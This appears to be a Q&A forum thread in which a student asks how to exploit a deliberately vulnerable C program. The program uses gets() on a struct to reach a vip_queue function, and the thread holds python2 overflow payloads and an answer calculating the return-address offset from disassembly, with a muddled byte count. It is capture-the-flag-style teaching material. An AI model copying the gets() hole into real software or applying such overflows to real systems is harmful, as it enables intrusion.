I am a cybersecurity student and I was doing an exercise in which I have to access the vip_queue function through a buffer overflow without changing the value of check. I've been trying for hours but I haven't gotten any results. I hope you can help me, thank you. This is the code:
#include <stdio.h>
#include <stdlib.h>
typedef struct {
char name[32];
int check;
} user_data;
void banner() {
puts(" _ _ _ _____");
puts("| \\ | (_) ___ ___| ___|__ _ __ _ _ _ __ ___ ___");
puts("| \\| | |/ __/ _ \\ |_ / _ \\| '__| | | | '_ ` _ \\/ __|");
puts("| |\\ | | (_| __/ _| (_) | | | |_| | | | | | \\__ \\");
puts("|_| \\_|_|\\___\\___|_| \\___/|_| \\__,_|_| |_| |_|___/");
puts("\n\n\n");
}
void vip_queue() {
puts("[+] Your user is in the VIP list. Thanks for subscribing :D");
puts("===================================");
puts("===================================");
puts("==== CONGRATULATIONS ====");
puts("===================================");
puts("==== YOU MANAGED ====");
puts("==== TO EXPLOIT THE BINARY ====");
puts("===================================");
puts("===================================");
puts("== STACK BASED BUFFER OVERFLOW ==");
puts("===================================");
puts("===================================");
}
void get_user_info() {
user_data data;
data.check = 0;
puts("[+] Welcome to NiceForums!");
puts("[+] Please, submit your name or alias to continue with the subscription.");
puts("Name or Alias:");
gets(data.name);
if ( data.check != 0 ) {
puts("[!] ALERT! Stop trying strange stuff >:(");
exit(1);
}
return;
}
int main() {
banner();
get_user_info();
puts("[!] There are no places available for non VIP users and you don't figure as one.");
}
i tried:
python2 -c "print 32 * b'A' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output9.txt
where \xa7\x11\x40\x00\x00\x00\x00\x00 is the address where the function vip_queue is stored at and also:
python2 -c "print 36 * b'A' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output8.txt
python2 -c "print 32 * b'A' + 4 * b'0' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output7.txt
python2 -c "print 32 * b'A' + '\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output78
I executed the code with this:
gcc -no-pie -fno-stack-protector nice_forums.c -o nice_forums
You're going in the right direction, but you're making incorrect assumptions about the location of the return address. We can take a look at the disassembled function using objdump -S
.
For me, it looks like this (may be different for you):
[...]
0000000000401262 <get_user_info>:
void get_user_info() {
401262: 55 push %rbp
401263: 48 89 e5 mov %rsp,%rbp
401266: 48 83 ec 30 sub $0x30,%rsp
[...]
4012d0: c9 leave
4012d1: c3 ret
[...]
So, in this case, we have 0x30
+ 8 bytes (push %rbp
) = 56 bytes before the return address. Therefore, you need 32 bytes for name
, 4 zero bytes for check
, plus 20 extra bytes and then the address of vip_queue
.
EDIT:
But why 56?
rbp
register is pushed into the stack - 8 bytes;sizeof(user_data) == 36
- so 36 more bytes;8 + 48 = 56.